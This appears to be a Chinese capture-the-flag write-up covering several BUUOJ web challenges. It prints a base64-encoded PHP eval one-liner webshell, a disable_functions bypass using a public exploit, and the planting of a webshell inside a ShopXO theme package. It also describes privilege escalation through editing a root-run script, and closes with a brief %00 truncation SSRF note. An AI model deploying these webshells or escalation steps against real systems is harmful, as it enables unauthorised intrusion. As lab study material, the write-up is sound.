一开始就是一段代码审计
首先查看phpinfo();
base64加密得 cGhwaW5mbygpOw==
回显成功,利用一句话连接
eval($_POST[123]);
base64加密得ZXZhbCgkX1BPU1RbMTIzXSk7
在根目录看到一个flag,但是没有权限查看。还有一个readflag文件,查看一下可以发现此文件的内容还有cat /flag,应该是执行此文件。
但是发现蚁剑终端并不能用,回到phpinfo()发现很多方法被禁用。
过滤了很多function,想到绕过disable_functions,上传一个文件使其执行任意命令,exp来自https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
在这里稍微改一下。
首先要上传,利用蚁剑上传
然后在页面就可以得到flag
打开链接,直接百度shopxo漏洞,可以看到漏洞复现的链接:
http://www.nctry.com/1660.html
直接访问admin.php
登录成功,进入后台找到应用中心-应用商店-主题,然后下载默认主题
下载一个安装包,把shell放入压缩包的default\_static_目录下:
ma.php内容
success
<?php eval($_POST[123]); ?>
直接把ma.php放到主题的压缩包里面
然后进行安装,网站管理-主题管理-主题安装
安装成功之后,看一下shell有没有传上去
访问:
http://e89c5245-3a1e-4d54-9c2b-33ad7c093c88.node3.buuoj.cn/public/static/index/default/ma.php
直接蚁剑连接
在根目录发现flag,说是假的flag,真的在/root下
flag.hint
我们看到auto.sh执行/var/mail/makeflaghint.py
在/var/mail/makeflaghint.py修改一下代码,加入两行内容读取/root/flag到/flag.hint
然后去查看flag.hint 就可以看到flag
通过%00截断可以让get_headers()
请求到错误的主机,于是请求到本地
然后根据提示把ip末尾改为123